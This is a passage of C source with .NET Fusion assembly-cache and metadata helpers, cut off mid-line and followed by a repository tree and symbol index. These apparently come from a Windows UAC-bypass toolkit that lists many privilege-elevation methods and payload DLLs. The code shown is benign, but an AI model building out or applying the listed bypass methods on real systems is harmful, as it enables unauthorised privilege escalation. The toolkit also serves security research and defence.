        if (pcchName) {
            if (SUCCEEDED(hr))
                *pcchName = cchName;
        }

        cchName = 0;
        hr = pInterface->lpVtbl->GetDisplayName(pInterface, NULL, &cchName, 0);
        if (hr != HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
            break;

        displayName = (LPWSTR)supHeapAlloc((cchName * sizeof(WCHAR)) + sizeof(UNICODE_NULL));
        if (displayName)
            hr = pInterface->lpVtbl->GetDisplayName(pInterface, (LPOLESTR)displayName, &cchName, 0);
        else
            hr = E_OUTOFMEMORY;

        if (pcchDisplayName) {
            if (SUCCEEDED(hr))
                *pcchDisplayName = cchName;
        }

    } while (FALSE);

    *lpName = assemblyName;
    if (lpDisplayName)
        *lpDisplayName = displayName;

    return hr;
}

/*
* fusUtilGetAssemblyMVIDFromZapCache
*
* Purpose:
*
* Query cache zap assembly mvid.
*
*/
BOOL fusUtilGetAssemblyMVIDFromZapCache(
    _In_ LPCWSTR AssemblyName,
    _Inout_ GUID* ModuleVersionId
)
{
    BOOL bFound = FALSE, bResult = FALSE;
    HRESULT hr;
    IAssemblyEnum* asmEnum = NULL;
    IAssemblyName* asmName = NULL;
    LPWSTR lpAssemblyName = NULL;
    DWORD dwSize;

    do {

        hr = g_ctx->FusionContext.CreateAssemblyEnum(&asmEnum, NULL, NULL, ASM_CACHE_ZAP, NULL);
        if ((FAILED(hr)) || (asmEnum == NULL))
            break;

        //
        // Locate assembly and remember it name/display name.
        //
        while ((hr = asmEnum->lpVtbl->GetNextAssembly(asmEnum, NULL, &asmName, 0)) == S_OK) {

            if (SUCCEEDED(fusUtilGetAssemblyName(asmName,
                &lpAssemblyName,
                NULL,
                NULL,
                NULL)))
            {

                if (_strcmpi(AssemblyName, lpAssemblyName) == 0) {
                    bFound = TRUE;
                    break;
                }
                else {
                    supHeapFree(lpAssemblyName);
                    lpAssemblyName = NULL;
                }

            }

            asmName->lpVtbl->Finalize(asmName);
            asmName->lpVtbl->Release(asmName);
        }

        if (FAILED(hr) || bFound == FALSE)
            break;

        dwSize = 0;
        hr = asmName->lpVtbl->GetProperty(asmName, ASM_NAME_MVID, NULL, &dwSize);
        if (hr != HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
            break;

        if (dwSize != sizeof(GUID))
            break;

        hr = asmName->lpVtbl->GetProperty(asmName, ASM_NAME_MVID, ModuleVersionId, &dwSize);
        bResult = SUCCEEDED(hr);

    } while (FALSE);

    if (asmName) {
        asmName->lpVtbl->Finalize(asmName);
        asmName->lpVtbl->Release(asmName);
    }

    if (asmEnum)
        asmEnum->lpVtbl->Release(asmEnum);

    if (lpAssemblyName)
        supHeapFree(lpAssemblyName);

    return bResult;
}

/*
* fusUtilGetAssemblyPath
*
* Purpose:
*
* Return given assembly file path.
*
* Note: Use supHeapFree to release lpAssemblyPath allocated memory.
*
*/
HRESULT fusUtilGetAssemblyPath(
    _In_ IAssemblyCache* pInterface,
    _In_ LPCWSTR lpAssemblyName,
    _Inout_ LPCWSTR* lpAssemblyPath
)
{
    HRESULT hr = E_FAIL;
    ASSEMBLY_INFO asmInfo;
    LPWSTR assemblyPath;

    *lpAssemblyPath = NULL;

    RtlSecureZeroMemory(&asmInfo, sizeof(asmInfo));

    pInterface->lpVtbl->QueryAssemblyInfo(pInterface,
        QUERYASMINFO_FLAG_GETSIZE,
        lpAssemblyName,
        &asmInfo);

    if (asmInfo.cchBuf == 0) //empty pszCurrentAssemblyPathBuf
        return E_FAIL;

    assemblyPath = (LPWSTR)supHeapAlloc(asmInfo.cchBuf * sizeof(WCHAR));
    if (assemblyPath == NULL)
        return E_FAIL;

    asmInfo.pszCurrentAssemblyPathBuf = assemblyPath;

    hr = pInterface->lpVtbl->QueryAssemblyInfo(pInterface,
        QUERYASMINFO_FLAG_VALIDATE,
        lpAssemblyName,
        &asmInfo);

    if (!SUCCEEDED(hr)) {
        supHeapFree(asmInfo.pszCurrentAssemblyPathBuf);
    }
    else {
        *lpAssemblyPath = assemblyPath;
    }

    return hr;
}

/*
* fusUtilGetAssemblyPathByName
*
* Purpose:
*
* Return given assembly file path.
*
* Note: Use supHeapFree to release lpAssemblyPath allocated memory.
*
*/
BOOLEAN fusUtilGetAssemblyPathByName(
    _In_ LPWSTR lpAssemblyName,
    _Inout_ LPWSTR* lpAssemblyPath
)
{
    HRESULT hr;
    IAssemblyCache* asmCache = NULL;

    do {

        hr = g_ctx->FusionContext.CreateAssemblyCache(&asmCache, 0);
        if ((FAILED(hr)) || (asmCache == NULL))
            break;

        hr = fusUtilGetAssemblyPath(asmCache,
            lpAssemblyName,
            lpAssemblyPath);

        asmCache->lpVtbl->Release(asmCache);

    } while (FALSE);

    return SUCCEEDED(hr);
}

/*
* fusUtilReferenceStreamByName
*
* Purpose:
*
* Query stream pointer by stream name.
*
*/
BOOL fusUtilReferenceStreamByName(
    _In_ STORAGEHEADER* StorageHeader,
    _In_ LPCSTR StreamName,
    _Out_ PSTORAGESTREAM* StreamRef
)
{
    WORD i;
    PBYTE streamPtr;
    STORAGESTREAM* pStorStream;
    ULONG offset;
    SIZE_T nameLen;

    *StreamRef = NULL;

    streamPtr = (PBYTE)RtlOffsetToPointer(StorageHeader, sizeof(STORAGEHEADER));

    i = 0;

    do {
        pStorStream = (STORAGESTREAM*)streamPtr;
        if (IsBadReadPtr(pStorStream->rcName, sizeof(CHAR)))
            return FALSE;

        if (_strcmpi_a(pStorStream->rcName, StreamName) == 0) {
            *StreamRef = pStorStream;
            return TRUE;
        }

        nameLen = _strlen_a(pStorStream->rcName) + 1;
        if (nameLen > MAXUSHORT)
            return FALSE;

        offset = ALIGN_UP(FIELD_OFFSET(STORAGESTREAM, rcName) + nameLen, ULONG);
        streamPtr = (PBYTE)RtlOffsetToPointer(streamPtr, offset);
        i++;

    } while (i < StorageHeader->iStreams);

    return FALSE;
}

/*
* fusUtilGetImageMVID
*
* Purpose:
*
* Query MVID value from image metadata.
*
* Ref: https://www.ntcore.com/files/dotnetformat.htm
*
*/
BOOL fusUtilGetImageMVID(
    _In_ LPCWSTR lpImageName,
    _Out_ GUID* ModuleVersionId
)
{
    BOOL bResult = FALSE;
    HMODULE hModule;
    PVOID baseAddress;
    IMAGE_COR20_HEADER* cliHeader;
    ULONG sz, offset, mvidIndex, i;

    STORAGESIGNATURE* pStorSign;
    STORAGEHEADER* pStorHeader;
    STORAGESTREAM* pStreamGuid;
    STORAGESTREAM* pStreamTables;
    STORAGETABLESHEADER* pTablesHeader;

    PBYTE tablesPtr;
    LPGUID guidsPtr;

    RPC_STATUS st;

    st = UuidCreateNil(ModuleVersionId);
    if (st != S_OK)
        return FALSE;

    hModule = LoadLibraryEx(lpImageName, NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE);
    if (hModule) {

        baseAddress = (PBYTE)(((ULONG_PTR)hModule) & ~3);

        cliHeader = (IMAGE_COR20_HEADER*)RtlImageDirectoryEntryToData(baseAddress, TRUE,
            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR, &sz);

        if (cliHeader && sz >= sizeof(IMAGE_COR20_HEADER)) {

            pStorSign = (STORAGESIGNATURE*)RtlOffsetToPointer(baseAddress, cliHeader->MetaData.VirtualAddress);
            if (pStorSign && !IsBadReadPtr(pStorSign, sizeof(STORAGESIGNATURE)) &&
                pStorSign->lSignature == STORAGE_MAGIC_SIG)
            {
                offset = FIELD_OFFSET(STORAGESIGNATURE, pVersion) + pStorSign->iVersionString;
                pStorHeader = (STORAGEHEADER*)RtlOffsetToPointer(pStorSign, offset);

                pStreamTables = NULL;
                if (!fusUtilReferenceStreamByName(pStorHeader, "#~", &pStreamTables)) {
                    FreeLibrary(hModule);
                    return FALSE;
                }

                pStreamGuid = NULL;
                if (!fusUtilReferenceStreamByName(pStorHeader, "#GUID", &pStreamGuid)) {
                    FreeLibrary(hModule);
                    return FALSE;
                }

                pTablesHeader = (STORAGETABLESHEADER*)RtlOffsetToPointer(pStorSign, pStreamTables->iOffset);
                sz = 0;

                //
                // __popcnt64 or the garbage code below
                //
                for (i = 0; i < MAX_CLR_TABLES; i++)
                    if ((i < 32 && (pTablesHeader->Valid.u.LowPart >> i) & 1) ||
                        (i >= 32 && (pTablesHeader->Valid.u.HighPart >> i) & 1))
                    {
                        sz++;
                    }

                offset = FIELD_OFFSET(STORAGETABLESHEADER, Rows) + (sz * sizeof(ULONG));

                tablesPtr = (PBYTE)RtlOffsetToPointer(pTablesHeader, offset);
                tablesPtr += sizeof(WORD);

                if (pTablesHeader->HeapOffsetSizes & MD_STRINGS_BIT)
                    tablesPtr += sizeof(DWORD);
                else
                    tablesPtr += sizeof(WORD);

                if (pTablesHeader->HeapOffsetSizes & MD_GUIDS_BIT)
                    mvidIndex = *(PULONG)tablesPtr;
                else
                    mvidIndex = *(PUSHORT)tablesPtr;

                if (mvidIndex) {
                    guidsPtr = (LPGUID)RtlOffsetToPointer(pStorSign, pStreamGuid->iOffset);
                    RtlCopyMemory(ModuleVersionId, &guidsPtr[mvidIndex - 1], sizeof(GUID));
                    bResult = TRUE;
                }
            }
        }
        FreeLibrary(hModule);
    }

    return bResult;
}


/*
* fusUtilpFusionScanFiles
*
* Purpose:
*
* Scan directory for files of given type.
*
* Note:
* Return TRUE to abort further scan, FALSE otherwise.
*
*/
BOOL fusUtilpFusionScanFiles(
    _In_ LPWSTR lpDirectory,
    _In_ LPWSTR lpExtension,
    _In_ pfnFusionScanFilesCallback pfnCallback,
    _In_opt_ PVOID pvUserContext
)
{
    BOOL bResult = FALSE;
    HANDLE hFile;
    LPWSTR lpLookupDirectory = NULL;
    SIZE_T cchBuffer;
    WIN32_FIND_DATA fdata;

    //
    // Allocate buffer for path to the file including backslash and terminating null.
    //
    cchBuffer = (2 + _strlen(lpDirectory) + _strlen(lpExtension));
    lpLookupDirectory = (LPWSTR)supHeapAlloc(cchBuffer * sizeof(WCHAR));
    if (lpLookupDirectory) {

        _strcpy(lpLookupDirectory, lpDirectory);
        supConcatenatePaths(lpLookupDirectory, lpExtension, cchBuffer);

        hFile = FindFirstFile(lpLookupDirectory, &fdata);
        if (hFile != INVALID_HANDLE_VALUE) {
            do {

                if (pfnCallback(lpDirectory, &fdata, pvUserContext)) {
                    bResult = TRUE;
                    break;
                }

            } while (FindNextFile(hFile, &fdata));
            FindClose(hFile);
        }
        supHeapFree(lpLookupDirectory);
    }

    return bRes
Download .txt
gitextract_23hrulia/

├── .gitattributes
├── Bin/
│   └── .empty
├── LICENSE.md
├── README.md
├── Source/
│   ├── Akagi/
│   │   ├── Resource.rc
│   │   ├── aic.c
│   │   ├── aic.h
│   │   ├── akagi.manifest
│   │   ├── appinfo/
│   │   │   ├── appinfo.acf
│   │   │   ├── appinfo.idl
│   │   │   ├── x64/
│   │   │   │   ├── appinfo64.c
│   │   │   │   └── appinfo64.h
│   │   │   └── x86-32/
│   │   │       ├── appinfo32.c
│   │   │       └── appinfo32.h
│   │   ├── bin/
│   │   │   ├── Akatsuki64.cd
│   │   │   ├── Fubuki32.cd
│   │   │   ├── Fubuki64.cd
│   │   │   └── Kamikaze.cd
│   │   ├── bin32res.h
│   │   ├── bin32res.rc
│   │   ├── bin64res.h
│   │   ├── bin64res.rc
│   │   ├── compress.c
│   │   ├── compress.h
│   │   ├── console.c
│   │   ├── console.h
│   │   ├── encresource.h
│   │   ├── fusutil.c
│   │   ├── fusutil.h
│   │   ├── global.h
│   │   ├── main.c
│   │   ├── makecab.c
│   │   ├── makecab.h
│   │   ├── methods/
│   │   │   ├── antonioCoco.c
│   │   │   ├── api0cradle.c
│   │   │   ├── azagarampur.c
│   │   │   ├── comsup.c
│   │   │   ├── comsup.h
│   │   │   ├── dwells.c
│   │   │   ├── elvint.h
│   │   │   ├── hakril.c
│   │   │   ├── hybrids.c
│   │   │   ├── methods.c
│   │   │   ├── methods.h
│   │   │   ├── rinn.c
│   │   │   ├── routines.h
│   │   │   ├── shellsup.c
│   │   │   ├── tyranid.c
│   │   │   ├── wusa.c
│   │   │   └── zcgonvh.c
│   │   ├── pcasvc/
│   │   │   ├── w7/
│   │   │   │   ├── pcasvc7.acf
│   │   │   │   ├── pcasvc7.idl
│   │   │   │   ├── x64/
│   │   │   │   │   ├── pcasvc7_64.c
│   │   │   │   │   └── pcasvc7_64.h
│   │   │   │   └── x86-32/
│   │   │   │       ├── pcasvc7_32.c
│   │   │   │       └── pcasvc7_32.h
│   │   │   └── w8_10/
│   │   │       ├── pcasvc.acf
│   │   │       ├── pcasvc.idl
│   │   │       ├── x64/
│   │   │       │   ├── pcasvc64.c
│   │   │       │   └── pcasvc64.h
│   │   │       └── x86-32/
│   │   │           ├── pcasvc32.c
│   │   │           └── pcasvc32.h
│   │   ├── resource.h
│   │   ├── stub.c
│   │   ├── stub.h
│   │   ├── sup.c
│   │   ├── sup.h
│   │   ├── tests/
│   │   │   ├── test.c
│   │   │   └── test.h
│   │   ├── uacme.vcxproj
│   │   ├── uacme.vcxproj.filters
│   │   ├── uacme.vcxproj.user
│   │   └── uas.h
│   ├── Akatsuki/
│   │   ├── Akatsuki.vcxproj
│   │   ├── Akatsuki.vcxproj.filters
│   │   ├── Akatsuki.vcxproj.user
│   │   ├── dllmain.c
│   │   ├── export.def
│   │   ├── resource.h
│   │   └── version.rc
│   ├── Fubuki/
│   │   ├── atldll.h
│   │   ├── dll.vcxproj
│   │   ├── dll.vcxproj.filters
│   │   ├── dll.vcxproj.user
│   │   ├── dllmain.c
│   │   ├── export.def
│   │   ├── fubuki.h
│   │   ├── pca.c
│   │   ├── pca.h
│   │   ├── resource.h
│   │   ├── uihacks.c
│   │   ├── uihacks.h
│   │   ├── version.rc
│   │   └── winmm.h
│   ├── Kamikaze/
│   │   ├── Kamikaze.msc
│   │   └── Launcher.html
│   ├── Naka/
│   │   ├── Naka.vcxproj
│   │   ├── Naka.vcxproj.filters
│   │   ├── Naka.vcxproj.user
│   │   ├── main.c
│   │   └── naka.h
│   ├── README.md
│   ├── Shared/
│   │   ├── _filename.c
│   │   ├── _filename.h
│   │   ├── _strcat.c
│   │   ├── _strcmp.c
│   │   ├── _strcmpi.c
│   │   ├── _strcpy.c
│   │   ├── _strend.c
│   │   ├── _strlen.c
│   │   ├── _strncmp.c
│   │   ├── _strncmpi.c
│   │   ├── _strncpy.c
│   │   ├── _strstri.c
│   │   ├── cmdline.c
│   │   ├── cmdline.h
│   │   ├── consts.h
│   │   ├── hde/
│   │   │   ├── hde64.c
│   │   │   ├── hde64.h
│   │   │   ├── pstdint.h
│   │   │   └── table64.h
│   │   ├── itostr.c
│   │   ├── ldr.c
│   │   ├── ldr.h
│   │   ├── libinc.h
│   │   ├── minirtl.h
│   │   ├── ntos/
│   │   │   ├── ntbuilds.h
│   │   │   ├── ntos.h
│   │   │   └── ntsxs.h
│   │   ├── rtltypes.h
│   │   ├── shared.h
│   │   ├── strtoi.c
│   │   ├── strtoul.c
│   │   ├── u64tohex.c
│   │   ├── u64tostr.c
│   │   ├── ultohex.c
│   │   ├── ultostr.c
│   │   ├── util.c
│   │   ├── util.h
│   │   ├── windefend.c
│   │   └── windefend.h
│   ├── Yuubari/
│   │   ├── Resource.rc
│   │   ├── Yuubari.vcxproj
│   │   ├── Yuubari.vcxproj.filters
│   │   ├── Yuubari.vcxproj.user
│   │   ├── appinfo.c
│   │   ├── appinfo.h
│   │   ├── basic.c
│   │   ├── basic.h
│   │   ├── comobj.c
│   │   ├── comobj.h
│   │   ├── consts.h
│   │   ├── cui.c
│   │   ├── cui.h
│   │   ├── fusion.c
│   │   ├── fusion.h
│   │   ├── global.h
│   │   ├── logger.c
│   │   ├── logger.h
│   │   ├── main.c
│   │   ├── resource.h
│   │   ├── sup.c
│   │   ├── sup.h
│   │   ├── tests/
│   │   │   ├── test_fusion.c
│   │   │   └── test_fusion.h
│   │   └── wintrustex.h
│   └── uacme.sln
└── appveyor.yml
Download .txt
SYMBOL INDEX (1226 symbols across 91 files)

FILE: Source/Akagi/aic.c
  function RPC_STATUS (line 33) | RPC_STATUS AicpAsyncInitializeHandle(
  function VOID (line 57) | VOID AicpAsyncCloseHandle(
  function BOOLEAN (line 74) | BOOLEAN AicLaunchAdminProcess(

FILE: Source/Akagi/aic.h
  type ULONG (line 21) | typedef ULONG ELEVATION_REASON;

FILE: Source/Akagi/appinfo/x64/appinfo64.c
  type appinfo_MIDL_TYPE_FORMAT_STRING (line 39) | typedef struct _appinfo_MIDL_TYPE_FORMAT_STRING
  type appinfo_MIDL_PROC_FORMAT_STRING (line 45) | typedef struct _appinfo_MIDL_PROC_FORMAT_STRING
  type appinfo_MIDL_EXPR_FORMAT_STRING (line 51) | typedef struct _appinfo_MIDL_EXPR_FORMAT_STRING
  function RAiLaunchAdminProcess (line 93) | void  RAiLaunchAdminProcess(

FILE: Source/Akagi/appinfo/x64/appinfo64.h
  type MONITOR_POINT (line 59) | typedef struct _MONITOR_POINT
  type APP_STARTUP_INFO (line 65) | typedef struct _APP_STARTUP_INFO
  type APP_PROCESS_INFORMATION (line 80) | typedef struct _APP_PROCESS_INFORMATION
  type _APP_STARTUP_INFO (line 97) | struct _APP_STARTUP_INFO
  type _APP_PROCESS_INFORMATION (line 100) | struct _APP_PROCESS_INFORMATION

FILE: Source/Akagi/appinfo/x86-32/appinfo32.c
  type appinfo_MIDL_TYPE_FORMAT_STRING (line 42) | typedef struct _appinfo_MIDL_TYPE_FORMAT_STRING
  type appinfo_MIDL_PROC_FORMAT_STRING (line 48) | typedef struct _appinfo_MIDL_PROC_FORMAT_STRING
  type appinfo_MIDL_EXPR_FORMAT_STRING (line 54) | typedef struct _appinfo_MIDL_EXPR_FORMAT_STRING
  function RAiLaunchAdminProcess (line 96) | void  RAiLaunchAdminProcess(

FILE: Source/Akagi/appinfo/x86-32/appinfo32.h
  type MONITOR_POINT (line 59) | typedef struct _MONITOR_POINT
  type APP_STARTUP_INFO (line 65) | typedef struct _APP_STARTUP_INFO
  type APP_PROCESS_INFORMATION (line 80) | typedef struct _APP_PROCESS_INFORMATION
  type _APP_STARTUP_INFO (line 97) | struct _APP_STARTUP_INFO
  type _APP_PROCESS_INFORMATION (line 100) | struct _APP_PROCESS_INFORMATION

FILE: Source/Akagi/compress.c
  type DCK_HEADER (line 27) | typedef struct _DCK_HEADER {
  function VOID (line 40) | VOID EncodeBuffer(
  function PVOID (line 74) | PVOID SelectSecretFromBlob(
  function BOOL (line 129) | BOOL IsValidContainerHeader(
  function BOOL (line 187) | BOOL DecryptBuffer(
  function PVOID (line 346) | PVOID DecompressContainerUnit(
  function PVOID (line 440) | PVOID DecompressPayload(

FILE: Source/Akagi/compress.h
  type DCU_HEADER (line 33) | typedef struct _DCU_HEADER {
  type PVOID (line 42) | typedef PVOID(*pfnDecompressPayload)(

FILE: Source/Akagi/console.c
  function VOID (line 26) | VOID ConsolePrint(
  function VOID (line 33) | VOID ConsolePrintValueUlong(
  function VOID (line 52) | VOID ConsolePrintStatus(
  function VOID (line 60) | VOID ConsoleInit(
  function BOOL (line 87) | BOOL ConsoleIsKeyPressed(
  function VOID (line 113) | VOID ConsoleRelease(

FILE: Source/Akagi/fusutil.c
  function BOOLEAN (line 28) | BOOLEAN fusUtilInitFusion(
  function VOID (line 92) | VOID fusUtilBinToUnicodeHex(
  function HRESULT (line 123) | HRESULT fusUtilGetAssemblyName(
  function BOOL (line 188) | BOOL fusUtilGetAssemblyMVIDFromZapCache(
  function HRESULT (line 273) | HRESULT fusUtilGetAssemblyPath(
  function BOOLEAN (line 326) | BOOLEAN fusUtilGetAssemblyPathByName(
  function BOOL (line 359) | BOOL fusUtilReferenceStreamByName(
  function BOOL (line 410) | BOOL fusUtilGetImageMVID(
  function BOOL (line 518) | BOOL fusUtilpFusionScanFiles(
  function BOOL (line 567) | BOOL fusUtilScanDirectory(
  function BOOL (line 630) | BOOL fusUtilFindFileByMVIDCallback(
  function VOID (line 676) | VOID fusUtilCombineNativeImageCacheName(

FILE: Source/Akagi/fusutil.h
  type STORAGESIGNATURE (line 25) | typedef struct _STORAGESIGNATURE {
  type STORAGEHEADER (line 34) | typedef struct _STORAGEHEADER {
  type STORAGESTREAM (line 42) | typedef struct _STORAGESTREAM {
  type STORAGETABLESHEADER (line 49) | typedef struct _STORAGETABLESHEADER {
  type FUSION_SCAN_PARAM (line 86) | typedef struct _FUSION_SCAN_PARAM {
  type UACME_FUSION_CONTEXT (line 96) | typedef struct _UACME_FUSION_CONTEXT {

FILE: Source/Akagi/global.h
  type UACME_SHARED_CONTEXT (line 100) | typedef struct _UACME_SHARED_CONTEXT {
  type UACMECONTEXT (line 106) | typedef struct _UACME_CONTEXT {
  type UACME_PARAM_BLOCK (line 142) | typedef struct _UACME_PARAM_BLOCK {
  type UACME_THREAD_CONTEXT (line 158) | typedef struct _UACME_THREAD_CONTEXT {

FILE: Source/Akagi/main.c
  function NTSTATUS (line 41) | NTSTATUS ucmInit(
  function NTSTATUS (line 149) | NTSTATUS WINAPI ucmMain(
  function VOID (line 181) | VOID __cdecl main()

FILE: Source/Akagi/makecab.c
  function LPVOID (line 28) | LPVOID DIAMONDAPI fnFCIALLOC(
  function VOID (line 35) | VOID DIAMONDAPI fnFCIFREE(
  function INT_PTR (line 42) | INT_PTR DIAMONDAPI fnFCIOPEN(
  function UINT (line 89) | UINT DIAMONDAPI fnFCIREAD(
  function UINT (line 110) | UINT DIAMONDAPI fnFCIWRITE(
  function fnFCICLOSE (line 131) | int DIAMONDAPI fnFCICLOSE(
  function fnFCISEEK (line 150) | long DIAMONDAPI fnFCISEEK(
  function fnFCIDELETE (line 183) | int DIAMONDAPI fnFCIDELETE(
  function fnFCISTATUS (line 202) | long DIAMONDAPI fnFCISTATUS(
  function fnFCIFILEPLACED (line 217) | int DIAMONDAPI fnFCIFILEPLACED(
  function INT_PTR (line 234) | INT_PTR DIAMONDAPI fnFCIGETOPENINFO(
  function BOOL (line 273) | BOOL DIAMONDAPI fnFCIGETTEMPFILE(
  function BOOL (line 301) | BOOL DIAMONDAPI fnFCIGETNEXTCABINET(
  function CABDATA (line 326) | CABDATA *cabCreate(
  function BOOL (line 380) | BOOL cabAddFile(
  function VOID (line 423) | VOID cabClose(

FILE: Source/Akagi/makecab.h
  type CABDATA (line 24) | typedef struct _CABDATA {

FILE: Source/Akagi/methods/antonioCoco.c
  type RPC_BASE_HEADER (line 46) | typedef struct _RPC_BASE_HEADER {
  type RPC_REQUEST_HEADER (line 56) | typedef struct _RPC_REQUEST_HEADER {
  type RPC_RESPONSE_HEADER (line 62) | typedef struct _RPC_RESPONSE_HEADER {
  type RPC_BIND_REQUEST_CONTEXT_ENTRY (line 69) | typedef struct _RPC_BIND_REQUEST_CONTEXT_ENTRY {
  type RPC_BIND_REQUEST_HEADER (line 78) | typedef struct _RPC_BIND_REQUEST_HEADER {
  type RPC_BIND_RESPONSE_CONTEXT_ENTRY (line 87) | typedef struct _RPC_BIND_RESPONSE_CONTEXT_ENTRY {
  type RPC_BIND_RESPONSE_HEADER1 (line 94) | typedef struct _RPC_BIND_RESPONSE_HEADER1 {
  type RPC_BIND_RESPONSE_HEADER2 (line 100) | typedef struct _RPC_BIND_RESPONSE_HEADER2 {
  type RPC_CONNECTION (line 105) | typedef struct _RPC_CONNECTION {
  function BOOL (line 116) | BOOL ucmxRpcBind(
  function BOOL (line 260) | BOOL ucmxRpcConnect(
  function VOID (line 305) | VOID ucmxRpcInitializeRequestData(
  function BOOL (line 324) | BOOL ucmxRpcSendRequest(
  function BOOL (line 477) | BOOL ucmxRpcAppendRequestData_Binary(
  function BOOL (line 521) | BOOL ucmxRpcAppendRequestData_Dword(
  function BOOL (line 532) | BOOL ucmxInvokeCreateSvcRpcMain(
  function SECURITY_STATUS (line 662) | SECURITY_STATUS ucmxForgeNetworkAuthToken(
  function NTSTATUS (line 837) | NTSTATUS ucmSspiDatagramMethod(

FILE: Source/Akagi/methods/api0cradle.c
  function NTSTATUS (line 30) | NTSTATUS ucmCMLuaUtilShellExecMethod(

FILE: Source/Akagi/methods/azagarampur.c
  function BOOL (line 49) | BOOL ucmxNgenLogLastWrite(
  function NTSTATUS (line 95) | NTSTATUS ucmNICPoisonMethod(
  function NTSTATUS (line 331) | NTSTATUS ucmIeAddOnInstallMethod(
  function NTSTATUS (line 541) | NTSTATUS ucmWscActionProtocolMethod(
  function NTSTATUS (line 641) | NTSTATUS ucmFwCplLuaMethod2(
  function NTSTATUS (line 887) | NTSTATUS ucmMsSettingsProtocolMethod(
  function DWORD (line 967) | DWORD ucmxGetServiceState(
  function BOOLEAN (line 996) | BOOLEAN ucmxRunService(
  function BOOLEAN (line 1084) | BOOLEAN ucmxIsAppXSvcRunning(
  function VOID (line 1099) | VOID ucmxCleanupNoStore(
  function NTSTATUS (line 1126) | NTSTATUS ucmxMsStoreProtocolNoStore(
  function NTSTATUS (line 1203) | NTSTATUS ucmMsStoreProtocolMethod(
  function ULONG (line 1316) | ULONG ucmxRemoveLoaderEntryFromRegistry(
  type PCA_LOADER_BLOCK (line 1396) | typedef struct _PCA_LOADER_BLOCK {
  function NTSTATUS (line 1411) | NTSTATUS ucmPcaMethod(
  function NTSTATUS (line 1805) | NTSTATUS ucmxGenerateAUX(
  function NTSTATUS (line 2008) | NTSTATUS ucmNICPoisonMethod2(
  function NTSTATUS (line 2215) | NTSTATUS ucmAtlHijackMethod(

FILE: Source/Akagi/methods/comsup.c
  function HRESULT (line 29) | HRESULT ucmAllocateElevatedObject(
  function VOID (line 100) | VOID ucmxFileOpCreateAndRelease(VOID)
  function BOOL (line 128) | BOOL ucmMasqueradedRenameElementCOM(
  function BOOL (line 218) | BOOL ucmMasqueradedCreateSubDirectoryCOM(
  function BOOL (line 310) | BOOL ucmMasqueradedMoveCopyFileCOM(
  function BOOL (line 424) | BOOL ucmMasqueradedDeleteDirectoryFileCOM(
  function BOOL (line 520) | BOOL ucmMasqueradedMoveFileCOM(
  function BOOL (line 543) | BOOL ucmMasqueradedGetObjectSecurityCOM(
  function BOOL (line 599) | BOOL ucmMasqueradedSetObjectSecurityCOM(

FILE: Source/Akagi/methods/dwells.c
  function NTSTATUS (line 32) | NTSTATUS ucmDirectoryMockMethod(

FILE: Source/Akagi/methods/elvint.h
  type interface (line 21) | typedef interface IColorDataProxy
  type interface (line 22) | typedef interface ICMLuaUtil
  type interface (line 23) | typedef interface IFwCplLua IFwCplLua;
  type interface (line 24) | typedef interface IEditionUpgradeManager
  type interface (line 25) | typedef interface ISecurityEditor
  type interface (line 26) | typedef interface IIEAdminBrokerObject
  type interface (line 27) | typedef interface IActiveXInstallBroker
  type interface (line 28) | typedef interface IWscAdmin IWscAdmin;
  type interface (line 29) | typedef interface IElevatedFactoryServer
  type IColorDataProxyVtbl (line 33) | struct IColorDataProxyVtbl {
  type ICMLuaUtilVtbl (line 89) | struct ICMLuaUtilVtbl {
  type IFwCplLuaInterfaceVtbl (line 198) | struct IFwCplLuaInterfaceVtbl {
  type IEditionUpgradeManagerVtbl (line 280) | struct IEditionUpgradeManagerVtbl {
  type ISecurityEditorVtbl (line 325) | struct ISecurityEditorVtbl {
  type IIEAdminBrokerObjectVtbl (line 358) | struct IIEAdminBrokerObjectVtbl {
  type IActiveXInstallBrokerVtbl (line 384) | struct IActiveXInstallBrokerVtbl {
  type IWscAdminVtbl (line 431) | struct IWscAdminVtbl {
  type IElevatedFactoryServerVtbl (line 459) | struct IElevatedFactoryServerVtbl {
  function interface (line 488) | interface IColorDataProxy { CONST_VTBL struct IColorDataProxyVtbl* lpVtb...
  function interface (line 489) | interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; }
  function interface (line 490) | interface IFwCplLua { CONST_VTBL struct IFwCplLuaInterfaceVtbl* lpVtbl; }
  function interface (line 491) | interface IEditionUpgradeManager { CONST_VTBL struct IEditionUpgradeMana...
  function interface (line 492) | interface ISecurityEditor { CONST_VTBL struct ISecurityEditorVtbl* lpVtb...
  function interface (line 493) | interface IIEAdminBrokerObject { CONST_VTBL struct IIEAdminBrokerObjectV...
  function interface (line 494) | interface IActiveXInstallBroker { CONST_VTBL struct IActiveXInstallBroke...
  function interface (line 495) | interface IWscAdmin { CONST_VTBL struct IWscAdminVtbl* lpVtbl; }
  function interface (line 496) | interface IElevatedFactoryServer { CONST_VTBL struct IElevatedFactorySer...

FILE: Source/Akagi/methods/hakril.c
  function NTSTATUS (line 47) | NTSTATUS ucmHakrilMethod(
  function BOOL (line 249) | BOOL ucmHakrilMethodCleanup(

FILE: Source/Akagi/methods/hybrids.c
  function BOOL (line 31) | BOOL ucmMethodCleanupSingleItemSystem32(
  function NTSTATUS (line 71) | NTSTATUS ucmGenericAutoelevationEx(
  function NTSTATUS (line 167) | NTSTATUS ucmGenericAutoelevation(
  function NTSTATUS (line 200) | NTSTATUS ucmSXSMethod(
  function BOOL (line 382) | BOOL ucmSXSMethodCleanup(
  function NTSTATUS (line 406) | NTSTATUS ucmxDisemer()
  function VOID (line 445) | VOID ucmDismMethodCleanup(VOID)
  function NTSTATUS (line 469) | NTSTATUS ucmDismMethod(
  function NTSTATUS (line 521) | NTSTATUS ucmWow64LoggerMethod(
  function NTSTATUS (line 558) | NTSTATUS ucmUiAccessMethod(
  function NTSTATUS (line 669) | NTSTATUS ucmSXSDccwMethod(
  function BOOL (line 807) | BOOL ucmSXSDccwMethodCleanup(
  function NTSTATUS (line 829) | NTSTATUS ucmCorProfilerMethod(
  function NTSTATUS (line 943) | NTSTATUS ucmDccwCOMMethod(
  function NTSTATUS (line 1060) | NTSTATUS ucmJunctionMethod(
  function NTSTATUS (line 1122) | NTSTATUS ucmMsdtMethod(
  function NTSTATUS (line 1214) | NTSTATUS ucmDotNetSerialMethod(
